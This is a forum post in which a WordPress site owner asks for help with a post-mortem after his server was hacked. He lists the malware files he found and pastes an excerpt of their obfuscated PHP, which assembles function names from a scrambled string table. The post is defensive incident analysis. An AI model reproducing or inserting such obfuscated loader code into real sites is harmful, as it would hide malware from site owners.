Report this

What is the reason for this report?

Ubuntu Wordpress Hacked - Post Mortem

Posted on January 14, 2015
toby

By toby

Hi there

I got a notification from DO that my server might be hacked. It was a Wordpress install, and I found some extremely suspect files. I have rebuilt from scratch and sanitized all theme files and uploads.

Now I’d like to conduct a post mortem on the old droplet to try to put better security measures in place.

I have identified several malware files in my WP install:

  1. Around 50 files in the root directory, named ‘kmoxj.php’, ‘n9984515tp.php’, etc.
  2. A file named ‘wp-conf.php’ in the root directory.
  3. Random PHP files sprinkled around the install in ‘/wp-content/uploads/’, ‘wp-includes’ and ‘/wp-content/plugins’, all designed to look like config files.

All include content similar to:

<?php $d93="l#\"quX>wj{V}mA.\rR cIQ\n`g4*:~v]3t<d\$EWnBCG-hUfK_k0(!HZ\t;[N8aPr6&YyDpo2\\5e@iFSJ?s,7/LbMT|)z=9O^+1x%'"; $GLOBALS['nbozb93'] = $d93[71].$d93[60].$d93[60].$d93[67].$d93[60].$d93[46].$d93[60].$d93[71].$d93[66].$d93[67].$d93[60].$d93[31].$d93[73].$d93[37].$d93[23]; $GLOBALS['wmyrm6'] = $d93[73].$d93[37].$d93[73].$d93[46].$d93[78].$d93[71].$d93[31]; $GLOBALS['efqzd94'] = $d93[33].$d93[71].$d93[44].$d93[73].$d93[37].$d93[71]; $GLOBALS['amnno92'] = $d93[33].$d93[64].$d93[73].$d93[4].$d93[28].$d93[24].$d93[80]; $GLOBALS['mvpev72'] = $d93[4].$d93[37].$d93[18].$d93[28].$d93[7].$d93[61].$d93[70]; $GLOBALS['sfzxp35'] = $d93[12].$d93[33].$d93[70]; $GLOBALS['ehiza78'] = $d93[18].$d93[67].$d93[4].$d93[37].$d93[31];

After rebuilding the server, I see numerous GET/POST requests for these files or directories where these files were stored.

The Ubuntu install seems to be intact (no strange users/permissions/files) as far as I can see.

Any ideas where I might start digging for the source of the vulnerability?

Thanks!

Toby

The developer cloud

Scale up as you grow — whether you're running one virtual machine or ten thousand.

Start building today

From GPU-powered inference and Kubernetes to managed databases and storage, get everything you need to build, scale, and deploy intelligent applications.